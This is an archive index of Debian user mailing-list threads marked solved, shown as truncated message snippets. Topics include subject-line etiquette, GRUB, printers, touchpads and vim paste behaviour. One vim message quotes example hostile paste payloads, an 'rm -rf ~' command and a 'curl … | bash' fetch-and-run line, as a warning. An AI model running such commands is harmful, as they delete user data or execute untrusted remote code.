Re: "solved" in message subject

On Sun Apr 6, 2025 at 2:13 PM BST, Greg wrote: On 2025-04-06, Jonathan Dowland wrote: On Fri Apr 4, 2025 at 11:01 PM BST, Andrew M.A. Cater wrote: This is the real problem: threads here go on for months and years. Why is this a problem? Because in the modern age we need things that start i

Re: "solved" in message subject

On 2025-04-06, Jonathan Dowland wrote: > On Fri Apr 4, 2025 at 11:01 PM BST, Andrew M.A. Cater wrote: >> This is the real problem: threads here go on for months and years. > > Why is this a problem? Because in the modern age we need things that start instantly and end rapidly.

Re: "solved" in message subject

On Fri Apr 4, 2025 at 11:01 PM BST, Andrew M.A. Cater wrote: This is the real problem: threads here go on for months and years. Why is this a problem? -- Please do not CC me for listmail. 👱🏻 Jonathan Dowland ✎j...@debian.org 🔗 https://jmtd.net

Re: "solved" in message subject

Hellow Jeff, Jeffrey Walton writes: > On Thu, Apr 3, 2025 at 11:23 PM Max Nikulin wrote: >> [...] >> Let's avoid discussions if gmail should be used. De-facto it is widely >> used, it has features and limitations. My point is that gmail users >> should be aware that some suggestions perfectly v

Re: "solved" in message subject

On 05/04/2025 05:01, Andrew M.A. Cater wrote: On Fri, Apr 04, 2025 at 10:22:47AM +0700, Max Nikulin wrote: Again when reading mail, if subject is changed almost completely: "Old" to "New (was: Old)" to "New" with "(was: ...)" stripped by e.g. Thunderbird or Emacs; then the thread is split into 3

Re: "solved" in message subject

On 05/04/2025 03:35, Andy Smith wrote: Do you understand that Max and I are saying that the way the web UI for gmail and other large mailbox providers works is that as soon as you change a subject line it breaks the thread and places those mails in their own separate group? Disclaimer: I have n

Re: "solved" in message subject

On Fri, Apr 4, 2025 at 5:02 PM Larry Martell wrote: > > > On Fri, Apr 4, 2025 at 12:05 PM Fred wrote: >> >> HI, >> >> One reason to use the "solved" tag is to let everyone know that the OP >> has solved the problem and moved on so that others don't continue to >> waste their time and effort tryin

Re: "solved" in message subject

On Fri, Apr 04, 2025 at 10:22:47AM +0700, Max Nikulin wrote: > On 02/04/2025 05:17, Jeffrey Walton wrote: > > I see the changing of title or subject to add things like "SOLVED" is > > not included in the FAQ. > > I am neutral to this recommendations. Just some considerations... > > I rarely use G

Re: "solved" in message subject

On Fri, Apr 4, 2025 at 3:05 PM Fred wrote: > > One reason to use the "solved" tag is to let everyone know that the OP > has solved the problem and moved on so that others don't continue to > waste their time and effort trying to find a solution when the OP has > moved on and won't need to respond

Re: "solved" in message subject

Hi, On Fri, Apr 04, 2025 at 11:59:23AM -0700, Fred wrote: > One reason to use the "solved" tag is to let everyone know that the OP has > solved the problem Do you understand that Max and I are saying that the way the web UI for gmail and other large mailbox providers works is that as soon as you

Re: "solved" in message subject

On Fri, Apr 4, 2025 at 12:05 PM Fred wrote: > HI, > > One reason to use the "solved" tag is to let everyone know that the OP > has solved the problem and moved on so that others don't continue to > waste their time and effort trying to find a solution when the OP has > moved on and won't need to

Re: "solved" in message subject

HI, One reason to use the "solved" tag is to let everyone know that the OP has solved the problem and moved on so that others don't continue to waste their time and effort trying to find a solution when the OP has moved on and won't need to respond any more. Best regards, Fred On 4/4/25 08

Re: "solved" in message subject

Hi, On Fri, Apr 04, 2025 at 10:22:47AM +0700, Max Nikulin wrote: > I am neutral to this recommendations. Just some considerations... > > I rarely use Gmail web UI, but this time I was curious enough to check its > behavior. As I keep pointing out, and you have covered again here, any change of s

Re: "solved" in message subject

On Thu, Apr 3, 2025 at 11:23 PM Max Nikulin wrote: > [...] > Let's avoid discussions if gmail should be used. De-facto it is widely > used, it has features and limitations. My point is that gmail users > should be aware that some suggestions perfectly valid for other MUA > should be avoided in the

Re: "solved" in message subject

On 2025-04-04, Max Nikulin wrote: > > Let's avoid discussions if gmail should be used. De-facto it is widely > used, it has features and limitations. My point is that gmail users > should be aware that some suggestions perfectly valid for other MUA > should be avoided in the mail.google.com web

Re: [SOLVED] Re: macchanger - will not change MAC at boot

Hi, On Wed, Mar 19, 2025 at 04:34:48PM +0100, Hans wrote: > Am Mittwoch, 19. März 2025, 16:24:15 CET schrieb Stefan Monnier: > > >> Seems we've been through this before in 2022 (sorry that it's > > >> Google Groups which I thought was defunct but anyway): > > >> https://groups.google.com/g/linux.d

Re: [SOLVED] Re: macchanger - will not change MAC at boot

Am Mittwoch, 19. März 2025, 16:24:15 CET schrieb Stefan Monnier: > >> > the desired goal is, that my original MAC will never appear after boot. > >> > As > >> > dpkg-reconfigure macchanger claims this to do, in real it does not. > >> > >> Seems we've been through this before in 2022 (sorry that it

Re: [SOLVED] Re: macchanger - will not change MAC at boot

>> > the desired goal is, that my original MAC will never appear after boot. As >> > dpkg-reconfigure macchanger claims this to do, in real it does not. >> Seems we've been through this before in 2022 (sorry that it's Google Groups >> which I thought was defunct but anyway): >> https://groups.googl

Re: [SOLVED] pdfarranger and update-alternatives

On 06/03/2025 17:50, Gerard ROBIN wrote: settings -> settings manager -> default applications in xfce4 fixed the problem. (Editing the mimeapps.list file has no effect) But the XFCE settings tool writes selected option to mimeapps.list...

Re: Re: [SOLVED] pdfarranger and update-alternatives

settings -> settings manager -> default applications in xfce4 fixed the problem. (Editing the mimeapps.list file has no effect) Thanks to everyone who took the time to answer me. -- Gerard Created with Mutt 2.2.1 under Debian Linux BO

Re: [SOLVED] Re: Debian-live can not be build missing package

Am Mittwoch, 5. März 2025, 18:53:07 CET schrieb Matthias Böttcher: > Hi Hans, > > maybe this caused your problem: > Nov 06, 2024 > Commit 30d39f81 "lb config: --distribution defaults to testing" > https://salsa.debian.org/live-team/live-build/-/commit/30d39f812e41eb81928a0 > fe1f3a4f686eb30dfa

Re: [SOLVED] Re: Debian-live can not be build missing package

Hi Hans, maybe this caused your problem: Nov 06, 2024 Commit 30d39f81 "lb config: --distribution defaults to testing" https://salsa.debian.org/live-team/live-build/-/commit/30d39f812e41eb81928a0fe1f3a4f686eb30dfa9 Bye Matthias

Re: (solved) anyone experienced in dual boot freebsd?

Thank Wright! i can't find "ran successfully" in entire syslog with editor's search function 2nd disk has 4 partitions, 2 for stretch and deb12, installer seems to parse their grub.cfg, making log very long Feb 11 08:54:28 in-target: Creating config file /etc/default/grub with new version^

Re: (solved) anyone experienced in dual boot freebsd?

Thank Curley again! manually editing grub.cfg is amateur as it is auto-generated. but my stanza is simple, it's easy to add it if removed. if it were Windows, it would be much easier i examine syslog, among many lines probing each partition for OS, i can't find how i specify installation targe

Re: (solved) anyone experienced in dual boot freebsd?

On Tue, 11 Feb 2025 21:44:58 +0800 hlyg wrote: > Thank Curley, but i have solved on my own Excellent. > > isn't installer syslog supposed to record my choice during > installation? Yes, and a couple other files in /var/log/installation. > > i let bios boot 2nd disk, which also has deb12, ru

Re: To change subject line or not (Was Re: [SOLVED] Re: British English has disappeared)

On Tue, Jan 14, 2025 at 12:59:38PM +, Andy Smith wrote: > Hi David, > > On Mon, Jan 13, 2025 at 08:46:28PM -0600, David Wright wrote: > > On Tue 14 Jan 2025 at 00:53:43 (+), Andy Smith wrote: > > > Most people do not use a good MUA. The email interfaces of the top three > > > mailbox provi

Re: To change subject line or not (Was Re: [SOLVED] Re: British English has disappeared)

Hi David, On Mon, Jan 13, 2025 at 08:46:28PM -0600, David Wright wrote: > On Tue 14 Jan 2025 at 00:53:43 (+), Andy Smith wrote: > > Most people do not use a good MUA. The email interfaces of the top three > > mailbox providers split threads when the subject line changes, a > > misfeature I was

Re: [SOLVED] Re: British English has disappeared

Bret Busby wrote: > > This is not a forum. Please do not change the title. It creates a new > > thread with no context disjoint from thread where the problem was > > solved.. ... > If a person interested in the thread, from the wording of the Subject field, > reads the messages in the thread, th

Re: [SOLVED] Re: British English has disappeared

Charles Curley wrote: > On Mon, 13 Jan 2025 21:55:05 + > Chris Green wrote: > > > Anyway I have it back now. :-) > > Glad to hear it. > > For the benefit of future readers, please mark the thread as solved. > How do I do that via the Gmane/Usenet gateway? -- Chris Green ·

Re: [SOLVED] Re: British English has disappeared

On Tue, Jan 14, 2025 at 12:15 AM wrote: > > On Mon, Jan 13, 2025 at 06:28:55PM -0500, Jeffrey Walton wrote: > > [...] > > > This is not a forum. Please do not change the title. It creates a new > > thread with no context disjoint from thread where the problem was > > solved.. > > It only creates a

Re: [SOLVED] Re: British English has disappeared

On Mon, Jan 13, 2025 at 06:28:55PM -0500, Jeffrey Walton wrote: [...] > This is not a forum. Please do not change the title. It creates a new > thread with no context disjoint from thread where the problem was > solved.. It only creates a new thread if you have an inferior MUA. Those respecting

Re: To change subject line or not (Was Re: [SOLVED] Re: British English has disappeared)

On 14/01/2025 07:53, Andy Smith wrote: On Tue, Jan 14, 2025 at 12:41:17AM +, Alain D D Williams wrote: It is not just the Subject: but also the In-Reply-To: and References: headers. A good MUA (mail reader) will use these to deduce what is in reply to what and have the ability to show an em

Re: To change subject line or not (Was Re: [SOLVED] Re: British English has disappeared)

On Tue 14 Jan 2025 at 00:53:43 (+), Andy Smith wrote: > On Tue, Jan 14, 2025 at 12:41:17AM +, Alain D D Williams wrote: > > It is not just the Subject: but also the In-Reply-To: and References: > > headers. > > A good MUA (mail reader) will use these to deduce what is in reply to what > >

To change subject line or not (Was Re: [SOLVED] Re: British English has disappeared)

Hi, On Tue, Jan 14, 2025 at 12:41:17AM +, Alain D D Williams wrote: > It is not just the Subject: but also the In-Reply-To: and References: headers. > A good MUA (mail reader) will use these to deduce what is in reply to what and > have the ability to show an email 'thread'. I use mutt which d

Re: [SOLVED] Re: British English has disappeared

bject line, or starting a new thread, with the Subject line being > only the word "Help". Help what? "Help me find my lost dog"? "Help me > overthrow the government"? Help me tie my shoelaces"? Subject: Re: [solved] How do I attach this problem … … Subject:

Re: [SOLVED] Re: British English has disappeared

On Mon, Jan 13, 2025 at 05:30:19PM -0700, Charles Curley wrote: > Many list servers serve up their archives with subject line and other > information but not the body. By modifying the subject appropriately one > makes it possible for a reader to quickly scan the subject, making > reading the enti

Re: [SOLVED] Re: British English has disappeared

On Mon, 13 Jan 2025 18:28:55 -0500 Jeffrey Walton wrote: > > > > For the benefit of future readers, please mark the thread as > > solved. > > This is not a forum. Please do not change the title. It creates a new > thread with no context disjoint from thread where the problem was > solved.. Th

Re: [SOLVED] Re: British English has disappeared

On Tue, 14 Jan 2025 07:47:04 +0800 Bret Busby wrote: > Also, the use of prepending, involving the "square brackets", > generally indicates the name of a mailing list, for example, [GNC] > for GNUcash. OK, then how would you do it? "Re: British English has disappeared: SOLVED"? > If a person in

Re: [SOLVED] Re: British English has disappeared

On 14/1/25 07:28, Jeffrey Walton wrote: On Mon, Jan 13, 2025 at 6:13 PM Charles Curley wrote: On Mon, 13 Jan 2025 21:55:05 + Chris Green wrote: Anyway I have it back now. :-) Glad to hear it. For the benefit of future readers, please mark the thread as solved. This is not a forum.

Re: [SOLVED] Re: British English has disappeared

On Mon, Jan 13, 2025 at 6:13 PM Charles Curley wrote: > > On Mon, 13 Jan 2025 21:55:05 + > Chris Green wrote: > > > Anyway I have it back now. :-) > > Glad to hear it. > > For the benefit of future readers, please mark the thread as solved. This is not a forum. Please do not change the title

Re: [SOLVED] Debian 12 USB install hangs on GRUB command line

On 18/12/2024 04:56, Roger Price wrote: On Tue, 17 Dec 2024, Max Nikulin wrote: Have you tried to plug the stick into another USB port (e.g. USB2 instead of USB3 or vice versa)? Try full power cycle, not just reboot. All the 10 USB ports on my T5820 are specified as USB 3.1 Gen 1.  I always d

Re: [SOLVED] Debian 12 USB install hangs on GRUB command line

On Tue, 17 Dec 2024, Thomas Schmitt wrote: dd if=debian-12.8.0-and64-DVD-1.iso of=/dev/sdj1 bs=4M && sync The "1" in "/dev/sdj1" is surplus. I rebuilt the USB stick using just /dev/sdj . On Tue, 17 Dec 2024, Max Nikulin wrote: Am I right that you have internal SSD (SATA? NVME?) and a USB

Re: SOLVED ? Re: restart lasts maybe a minute till next freeze

gene heskett writes: > No zfs that I know of, everything is ext4. As I've just played with zfs, the zfs packages to purge are these: libnvpair3linux libuutil3linux libzfs4linux libzpool5linux zfs-dkms zfs-zed zfsutils-linux

Re: [SOLVED] Re: utelnetd

Hi, On Sat, Dec 07, 2024 at 08:39:54AM -0700, pe...@easthope.ca wrote: > > Unencrypted login sessions, with passwords being > sent in the clear > > over a network, are inherently insecure. > > You give a password every time a xterm or similar is opened? As has been noted multiple times in this t

Re: SOLVED (I think): Re: new Xerox printer doesn't print

On Fri, Nov 22, 2024 at 7:57 PM jeremy ardley wrote: > > On 22/11/24 23:20, D. R. Evans wrote: > > > > To my simple mind that suggests that some auto-configuration magic that > > is supposed to happen when the new printer was plugged into the network > > was not handled correctly by debian stable.

Re: SOLVED (I think): Re: new Xerox printer doesn't print

On 22/11/24 23:20, D. R. Evans wrote: To my simple mind that suggests that some auto-configuration magic that is supposed to happen when the new printer was plugged into the network was not handled correctly by debian stable. I have a Fuji-Xerox printer (they are Brother printers under th

Re: SOLVED (I think): Re: new Xerox printer doesn't print

On Fri, Nov 22, 2024 at 1:27 PM D. R. Evans wrote: > > D. R. Evans wrote on 11/19/24 09:38: > > I have recently added a Xerox C325 multifunction printer to my home LAN. > > > > When I originally plugged it in and ran some quick print tests from my > > Debian > > stable system, everything seemed t

Re: [SOLVED] Re: problem with fwlogwatch.service (debian 12)

On Thursday, 21 November 2024 07:24:49 -03 Jean-François Bachelet wrote: Hello Jeff > Hello Michel ^^) > > Le 21/11/2024 à 08:33, Michel Verdier a écrit : > > On 2024-11-20, Jean-François Bachelet wrote: [snip] > > in this script I found : > > CONFIG=/etc/default/fwlogwatch > > oups, the only pl

Re: [solved, more] Re: Grub menu entry for a system on a second drive.

The ThinkCentre has one blue and one black, as in the 2nd photo here. https://en.wikipedia.org/wiki/USB#System_design > * With the adapter labeled USB 2.0, why is plugging in USB 3 necessary > to boot the external system? From: David Wright Date: Sun, 3 Nov 2024 22:43:19 -0600 Who knows

Re: [solved] Re: Grub menu entry for a system on a second drive.

On 11/9/24 13:04, pe...@easthope.ca wrote: A new factor in the original problem. Therefore a new thread. I can respond to the original thread when there's time. In case anyone is interested, these topics remain. * Why does the ThinkCentre have differing USB sockets? I've read on this list th

Re: [solved] Grub menu entry for a system on a second drive.

peter composed on 2024-11-09 11:35 (UTC-0700): > * Why does the ThinkCentre have differing USB sockets? Monkey see, monkey do applies in the competitive field of motherboard manufacturing. Most computers with 3.x USB have also 2.0 ports. 3.x has a manufacturing cost that 1.x and 2.0 devices have

Re: [solved] Re: Grub menu entry for a system on a second drive.

A new factor in the original problem. Therefore a new thread. I can reply to the original thread later. From: pe...@easthope.ca Date: 27 Oct 2024 11:26:12 -0700 > Rather than spend more time investigating, will put the HDD in the > target machine and work there. Happened to connect a

Re: [solved] Re: Grub menu entry for a system on a second drive.

A new factor in the original problem. Therefore a new thread. I can respond to the original thread when there's time. From: pe...@easthope.ca Date: 27 Oct 2024 11:26:12 -0700 > Rather than spend more time investigating, will put the HDD in the > target machine and work there. Happened

Re: [solved, more] Re: Grub menu entry for a system on a second drive.

On Nov 02, 2024, pe...@easthope.ca wrote: > From: pe...@easthope.ca > Date: 27 Oct 2024 11:26:12 -0700 > > Rather than spend more time investigating, will put the HDD in the > > target machine and work there. Remove some of the complications. > > Happened to connect a USB hub before deal

Re: [solved, more] Re: Grub menu entry for a system on a second drive.

On Sat 02 Nov 2024 at 07:46:33 (-0700), pe...@easthope.ca wrote: > From: pe...@easthope.ca > Date: 27 Oct 2024 11:26:12 -0700 > > Rather than spend more time investigating, will put the HDD in the > > target machine and work there. Remove some of the complications. > > Happened to connec

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

On 27/10/2024 21:56, David Wright wrote: On Sat 26 Oct 2024 at 20:55:11 (-0700), pe...@easthope.ca wrote: A Web search found mention of grub command nativedisk which I added. I don't know anything about nativedisk or the distinctions between various types of driver. [...] nativedisk se

Re: [solved, more] Re: Grub menu entry for a system on a second drive.

From: pe...@easthope.ca Date: 27 Oct 2024 11:26:12 -0700 > Rather than spend more time investigating, will put the HDD in the > target machine and work there. Remove some of the complications. Happened to connect a USB hub before dealing with the Void drive. Noticed the USB socket wher

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

On Thu, Oct 31, 2024 at 23:10:22 -0500, David Wright wrote: > On Mon 28 Oct 2024 at 07:08:12 (-0400), Greg Wooledge wrote: > > On Sun, Oct 27, 2024 at 22:42:15 -0500, David Wright wrote: > > > type > > > set -x > > > before you run os-prober and > > > set +x > > > afterwards, and track what it

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

On Mon 28 Oct 2024 at 07:08:12 (-0400), Greg Wooledge wrote: > On Sun, Oct 27, 2024 at 22:42:15 -0500, David Wright wrote: > > type > > set -x > > before you run os-prober and > > set +x > > afterwards, and track what it does. > > os-prober is a script, so that won't work as written. You'd ei

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

On Mon 28 Oct 2024 at 09:07:42 (-0700), pe...@easthope.ca wrote: > From: David Wright > Date: Sun, 27 Oct 2024 22:42:15 -0500 > > Well, it could be because Void apparently isn't a glibc OS. > > Thanks. Haven't thought about that. > > > You could check /usr/lib/os-probes/mounted/90linux-

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

From: David Wright Date: Sun, 27 Oct 2024 22:42:15 -0500 > Well, it could be because Void apparently isn't a glibc OS. Thanks. Haven't thought about that. > You could check /usr/lib/os-probes/mounted/90linux-distro > to see whether the first test would succeed. Or a lazy way: > type >

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

On Sun, Oct 27, 2024 at 22:42:15 -0500, David Wright wrote: > type > set -x > before you run os-prober and > set +x > afterwards, and track what it does. os-prober is a script, so that won't work as written. You'd either need to modify os-prober (change the second line from "set -e" to "set -

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

On Sun 27 Oct 2024 at 11:26:12 (-0700), pe...@easthope.ca wrote: > A search of "os-prober security" finds several pages. os-prober is > disabled by default in Archlinux and other respected distributions. > > For interest, I enabled os-prober again in /etc/default/grub and ran > grub-install /de

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

From: David Wright Date: Sun, 27 Oct 2024 09:56:45 -0500 > That earlier installation is presumably the bookworm that > wrote (hd0,gpt2)/boot/grub/grub.cfg with the Grub deb12u1, > which I pointed out in my first post, but wasn't confirmed > by your follow-up. Yes, the multiple details hav

Re: [solved, partly] Re: Grub menu entry for a system on a second drive.

On Sat 26 Oct 2024 at 20:55:11 (-0700), pe...@easthope.ca wrote: > Tim & all, > > From: Tim Woodall > Date: Fri, 25 Oct 2024 22:35:50 +0100 (BST) > > It's possibly not reading the grub.cfg you think it is reading. I've > > hit this problem before - IIRC grub uses the grub.cfg from the *f

Re: [SOLVED] Re: How add key of 3rd party repo?

Hi David, this is a very good and value hint! What you are telling is very reasonable and makes fully sense. Yes, in the past I olayed aroud mith umask, and it can really happen, that I messed up things by doing so. I will recheck my settings and if there are any missettings, of course correc

Re: [SOLVED] Re: How add key of 3rd party repo?

Am Sonntag, 22. September 2024, 19:05:35 CEST schrieb Charles Curley: > When you do these things, *exactly* what results do you get? Copy and > paste the entire command line, including the prompt, the results, and > the next command line prompt. [ … ] On Sun 22 Sep 2024 at 20:01:02 (+0200), Hans

Re: [SOLVED] Re: Virtual machine - booting from USB?

Le 21/08/2024 à 18:30, Hans a écrit : [...] Well, now as I know, that qemu is working, I will check if I can use also the commandline with qemu. Should be possible! [...] That, too, is explained in the link I indicated previously, ("3. Boot From the Command Line"): https://www.baeldung.com/linu

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

> David Wright : > To answer the question in the rant, "why the f* does this button > exist": for the same reason that some people set a touchpad timeout > each time a key is struck, to prevent the cursor careering around the > screen when typing, thanks to the ball of the thumb rubbing the to

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

> Keith Bainbridge : > Have you considered changing the bios so that the Fn keys need the Fn > key to alter the screen and touchpad and for that matter sound > settings etc accidently. It means the Fn keys will also function what > was considered normally for decades. Can't say I have... cons

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

On 2024-07-29, Thomas Schmitt wrote: > https://www.debian.org/Bugs/Reporting > "Sending the bug report via e-mail" > (about 30 lines down the page) > "An Example Bug Report" > (another 30 lines down the page) Still the first and recommended way is to use the package reportbug which do a

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Hi, Ian Molton wrote: > Perhaps someone can help me with the bug tracker? If i have to submit a bug, then i use the e-mail way. See: https://www.debian.org/Bugs/Reporting "Sending the bug report via e-mail" (about 30 lines down the page) "An Example Bug Report" (another 30 lines down t

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

On 2024-07-28, Ian Molton wrote: > Perhaps someone can help me with the bug tracker? Install the package reportbug. It's as easy as writing a mail.

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Hi, Thanks for your reply, I'm afraid I've always found the bug tracker a very inaccessible thing. Despite having a decent amount of technical knowledge,  I find it daunting, and a jarring thing to cope with mentally. This is why i come to the mailing lists to seek help, but as you note, de

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

On Fri Jul 26, 2024 at 10:47 AM BST, Nicolas George wrote: > Now maybe you fix your MUA configuration to not omit “Re: ”. What would that achieve? -- Please do not CC me for listmail. 👱🏻 Jonathan Dowland ✎j...@debian.org 🔗 https://jmtd.net

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

I'm glad you've solved your issue. I read your original (very detailed) mail and I had nothing to contribute with respect to a fix; but I was interested to follow it, as I rely upon remote decryption of the root filesystem myself. >From what you write, I think you are correct that some component (

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Hi, On Fri, Jul 26, 2024 at 10:35:03AM +0100, Ian Molton wrote: > Should this be reported somewhere else? Any devs reading this? Yes, if you think there is a bug it should be reported in bugs.debian.org. The "reportbug" program may help. This mailing list is mostly for user support by other user

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Really helpful. Thanks for that. Really makes one feel part of the community.

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Ian Molton (12024-07-26): > Now what? Now maybe you fix your MUA configuration to not omit “Re: ”. Regards, -- Nicolas George

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

On 23/07/2024 19:07, Thomas Schmitt wrote: Max Nikulin wrote: Some ideas: :help :make :help clientserver I think these two lean a little too much towards the ":!rm -rf" side. It was in the context of jumping to compiler error. You can start build from vim or load a log file and us

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

On Tue, Jul 23, 2024 at 14:07:04 +0200, Thomas Schmitt wrote: > Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view" > by "rview" ? (So that this PEBKAC cannot fall back to old habits ?) update-alternatives, or just set up some personal shell aliases.

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

Hi, Max Nikulin wrote: > I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird | > bash &" after a newline. Although this attack vector does not match my copy+paste habits, i shall think about replacing my use of vim by rvim. man vim says: rvim rview rgvim rgview Like the

Re: [Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

On 23/07/2024 14:57, Thomas Schmitt wrote: Max Nikulin wrote: I would consider some convenient key mapping that should be executed before pasting line number instead of disabling bracketed paste completely. There is a chance to paste something weird with hidden text from a web page or from a HTM

Re: [Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

On 23/07/2024 00:40, Thomas Schmitt wrote: Greg Wooledge wrote: https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi Apparently when in an "xterm environment" (whatever that means; apparently it includes rxvt-unicode), turning on bracketed paste mode works: :set t

Re: [SOLVED] Re: Creating PDF/A from LaTeX source and from existing PDF

On 10/07/2024 15:37, Ceppo wrote: but I couldn't build a working gs command. [...] [1]: https://github.com/qpdf/qpdf/issues/85 There is a link to gs arguments

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

On Sun, 7 Jul 2024, at 01:56, David Wright wrote: > To answer the question in the rant, "why the f* does this button > exist"... A more fundamental issue can be that some machines have an option in the BIOS that dictates whether keys (mostly but not exclusively the F1-F12 ones) which have alter

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

On 6/7/24 16:39, Steinar Bang wrote: Steinar Bang : Sometime (a day or so maybe) before <2024-06-26 Wed 19:59> the touchpad stopped working on my Acer Aspire 5 with a MATE desktop on debian 12.5. At the time the laptop had gone 50 days since the last reboot so I figured something had gone

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

On Sat 06 Jul 2024 at 08:39:57 (+0200), Steinar Bang wrote: > > Steinar Bang : > > > Sometime (a day or so maybe) before <2024-06-26 Wed 19:59> the touchpad > > stopped working on my Acer Aspire 5 with a MATE desktop on debian 12.5. > > > At the time the laptop had gone 50 days since the last

Re: [SOLVED] Re: Debian bookworm fails to install

Hi Hans! On Sat, Jun 08, 2024 at 11:43:38AM +0200, Hans wrote: > Hello! > > For those, who are interested in my discovering with bootcd, I attached a > screenshot of the > message, the installer told and why grub can not be installed. It might > explain more. > You might want to try OFTC IRC

Re: [SOLVED] Re: Debian bookworm fails to install

On Sat, 8 Jun 2024 11:45:49 +0700 Max Nikulin wrote: Hello Max, >On 08/06/2024 00:48, Hans wrote: >> BUT - grub-efi-amd64-bin conflicts with grub-efi-amd64-bin-signed >No it does not. I have both installed. I think, the latter needs .mod The pedant in me would point out that actually, no, yo

Re: [SOLVED] Re: Debian bookworm fails to install

On 08/06/2024 00:48, Hans wrote: BUT - grub-efi-amd64-bin conflicts with grub-efi-amd64-bin-signed No it does not. I have both installed. I think, the latter needs .mod files provided by the former.

Re: [SOLVED] Re: Debian bookworm fails to install

On Fri, Jun 7, 2024 at 1:48 PM Hans wrote: > > Got it! Found the reason and a fix for it. > > Just not easy to find. It is an dependency-problem! > > What happened? > > Well, in ~config/mylist.list.chroot I added the package "bootcd", which shoul > exist in my live-system. During build this made

Re: [SOLVED] Re: Debian bookworm fails to install

Looks like a typo from me. apt-cache search grub-efi-amd | grep signed grub-efi-amd64-signed - GRand Unified Bootloader, version 2 (amd64 UEFI signed by Debian) grub-efi-amd64-signed-template - GRand Unified Bootloader, Version 2 (Signaturvorlage für EFI-AMD64) It is grub-efi-amd64-signed.

Re: [SOLVED] Re: Debian bookworm fails to install

On Fri 07 Jun 2024 at 19:48:21 (+0200), Hans wrote: > Got it! Found the reason and a fix for it. > Just not easy to find. It is an dependency-problem! > > What happened? > > Well, in ~config/mylist.list.chroot I added the package "bootcd", which shoul > exist in my live- > system. During build t

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 2024-06-03, Chris M wrote: > > Thunderbird is the name of a cheap wine? > A mutt is a mongrel dog, if that adds anything to the conversation.

Re: [solved] testing MATE upgrade broke panels, downgrading fixed it

songbird wrote: > > as an FYI, last night this wasn't a good idea: > > The following packages will be upgraded: >gir1.2-matepanelapplet-4.0 (1.27.1-2+b2 => 1.27.1-3) >libmate-panel-applet-4-1 (1.27.1-2+b2 => 1.27.1-3) >libmate-panel-applet-dev (1.27.1-2+b2 => 1.27.1-3) >mate-panel

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On Mon, 3 Jun 2024 15:25:12 -0400 e...@gmx.us wrote: > The USAF Thunderbirds predate Gallo Thunderbird by at least a year. > They were founded in 1953, and the law allowing Gallo Thunderbird's > creation wasn't passed until the next year. The wine was certainly > out by 1957. The Ford Thunderbir

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On Tue, Jun 04, 2024 at 03:45:11AM +0800, Bret Busby wrote: > On 4/6/24 03:25, e...@gmx.us wrote: > > On 6/3/24 12:10, James H. H. Lampert wrote: > > > (who still hasn't figured out why Ford named a car, and the Air > > > Force named > > > its demonstration team, after that same cheap wine) > > >

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 4/6/24 04:30, e...@gmx.us wrote: On 6/3/24 15:45, Bret Busby wrote: On 4/6/24 03:25, e...@gmx.us wrote: On 6/3/24 12:10, James H. H. Lampert wrote: (who still hasn't figured out why Ford named a car, and the Air Force named its demonstration team, after that same cheap wine) The USAF Thun

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

debian-u...@howorth.org.uk wrote: Chris M wrote: I love Evolution and Claws to a point. Its a PITA to forward emails with HTML in them, like the Informed Delivery email I get each morning letting us know whats coming in the USPS that day. Claws forwards mails with a text/html part just fine. W

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